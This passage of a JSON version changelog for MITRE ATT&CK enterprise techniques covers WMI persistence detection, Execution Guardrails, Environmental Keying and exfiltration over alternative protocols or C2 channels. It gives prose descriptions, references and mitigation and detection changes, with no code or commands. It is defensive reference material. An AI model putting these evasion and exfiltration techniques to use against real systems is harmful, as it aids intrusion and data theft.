entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1)\\n-\\n-Monitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent)\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0005: WMI (WMI Creation)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0086: Detect WMI Event Subscription for Persistence via WmiPrvSE Process and MOF Compilation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31 02:10:08.261000+00:00", + "modified": "2025-10-24 17:49:03.764000+00:00", + "name": "Execution Guardrails", + "description": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.\n\nAdversaries may identify and block certain user-agents to evade defenses and narrow the scope of their attack to victims and platforms on which it will be most effective. A user-agent self-identifies data such as a user's software application, operating system, vendor, and version. Adversaries may check user-agents for operating system identification and then only serve malware for the exploitable software while ignoring all other operating systems.(Citation: Trellix-Qakbot)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1480", + "external_id": "T1480" + }, + { + "source_name": "FireEye Outlook Dec 2019", + "description": "McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020.", + "url": "https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html" + }, + { + "source_name": "Trellix-Qakbot", + "description": "Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved June 7, 2024.", + "url": "https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/" + }, + { + "source_name": "FireEye Kevin Mandia Guardrails", + "description": "Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019.", + "url": "https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Nick Carr, Mandiant" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:03.764000+00:00\", \"old_value\": \"2025-04-15 19:58:48.316000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1055: Do Not Mitigate" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0562: Multi-Platform Execution Guardrails Environmental Validation Detection Strategy" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-06-23 22:28:28.041000+00:00", + "modified": "2025-10-24 17:49:35.768000+00:00", + "name": "Environmental Keying", + "description": "Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1480/001", + "external_id": "T1480.001" + }, + { + "source_name": "Proofpoint Router Malvertising", + "description": "Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices" + }, + { + "source_name": "Kaspersky Gauss Whitepaper", + "description": "Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf" + }, + { + "source_name": "Ebowla: Genetic Malware", + "description": "Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019.", + "url": "https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf" + }, + { + "source_name": "EK Clueless Agents", + "description": "Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019.", + "url": "https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf" + }, + { + "source_name": "EK Impeding Malware Analysis", + "description": "Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019.", + "url": "https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf" + }, + { + "source_name": "Demiguise Guardrail Router Logo", + "description": "Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019.", + "url": "https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js" + }, + { + "source_name": "Environmental Keyed HTA", + "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved November 17, 2024.", + "url": "http://web.archive.org/web/20200608093807/https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Nick Carr, Mandiant" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:35.768000+00:00\", \"old_value\": \"2025-04-15 19:59:20.646000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1055: Do Not Mitigate" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0474: Environmental Keying Discovery-to-Decryption Behavioral Chain Detection Strategy" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:44.720000+00:00", + "modified": "2025-10-24 17:49:10.460000+00:00", + "name": "Exfiltration Over Alternative Protocol", + "description": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)\n\nMany IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1048", + "external_id": "T1048" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "Palo Alto OilRig Oct 2016", + "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/" + }, + { + "source_name": "20 macOS Common Tools and Techniques", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "William Cain", + "Alfredo Abarca" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "IaaS", + "Linux", + "macOS", + "Network Devices", + "Office Suite", + "SaaS", + "Windows" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Cloud Storage: Cloud Storage Access\", \"Network Traffic: Network Traffic Flow\", \"Command: Command Execution\", \"Network Traffic: Network Traffic Content\", \"Application Log: Application Log Content\", \"File: File Access\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:10.460000+00:00\", \"old_value\": \"2025-04-15 19:58:54.894000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\"}}}", + "previous_version": "1.6", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1030: Network Segmentation", + "M1031: Network Intrusion Prevention", + "M1037: Filter Network Traffic", + "M1057: Data Loss Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0010: Cloud Storage (Cloud Storage Access)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0131: Behavioral Detection Strategy for Exfiltration Over Alternative Protocol" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-15 15:34:30.767000+00:00", + "modified": "2025-10-24 17:49:05.552000+00:00", + "name": "Exfiltration Over Asymmetric Encrypted Non-C2 Protocol", + "description": "Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAsymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. \n\nNetwork protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1048/002", + "external_id": "T1048.002" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "William Cain" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "ESXi" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Command: Command Execution\", \"File: File Access\", \"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:05.552000+00:00\", \"old_value\": \"2025-04-15 19:58:50.294000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) \"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1030: Network Segmentation", + "M1031: Network Intrusion Prevention", + "M1037: Filter Network Traffic", + "M1057: Data Loss Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0512: Detection of Exfiltration Over Asymmetric Encrypted Non-C2 Protocol" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-15 15:30:42.378000+00:00", + "modified": "2025-10-24 17:48:59.332000+00:00", + "name": "Exfiltration Over Symmetric Encrypted Non-C2 Protocol", + "description": "Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nSymmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data. \n\nNetwork protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1048/001", + "external_id": "T1048.001" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "ESXi" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\", \"Command: Command Execution\", \"File: File Access\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:59.332000+00:00\", \"old_value\": \"2025-04-15 19:58:43.571000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) \\n\\nArtifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) \\n-\\n-Artifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels. \"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1030: Network Segmentation", + "M1031: Network Intrusion Prevention", + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0503: Behavioral Detection Strategy for Exfiltration Over Symmetric Encrypted Non-C2 Protocol" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-15 15:37:47.583000+00:00", + "modified": "2025-10-24 17:49:39.079000+00:00", + "name": "Exfiltration Over Unencrypted Non-C2 Protocol", + "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.(Citation: copy_cmd_cisco)\n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1048/003", + "external_id": "T1048.003" + }, + { + "source_name": "copy_cmd_cisco", + "description": "Cisco. (2022, August 16). copy - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/C_commands.html#wp1068167689" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "William Cain", + "Austin Clark, @c2defense" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"File: File Access\", \"Network Traffic: Network Traffic Content\", \"Command: Command Execution\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:39.079000+00:00\", \"old_value\": \"2025-04-15 19:59:24.041000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) \\n\\nFor network infrastructure devices, collect AAA logging to monitor for `copy` commands being run to exfiltrate configuration files to non-standard destinations over unencrypted protocols such as TFTP.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) \\n-\\n-For network infrastructure devices, collect AAA logging to monitor for `copy` commands being run to exfiltrate configuration files to non-standard destinations over unencrypted protocols such as TFTP.\"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [ + "M1030: Network Segmentation", + "M1031: Network Intrusion Prevention", + "M1037: Filter Network Traffic", + "M1057: Data Loss Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0149: Detection of Exfiltration Over Unencrypted Non-C2 Protocol" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:41.804000+00:00", + "modified": "2025-10-24 17:49:06.675000+00:00", + "name": "Exfiltration Over C2 Channel", + "description": "Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1041", + "external_id": "T1041" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "William Cain" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "2.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Access\", \"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:06.675000+00:00\", \"old_value\": \"2025-04-15 19:58:51.597000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow 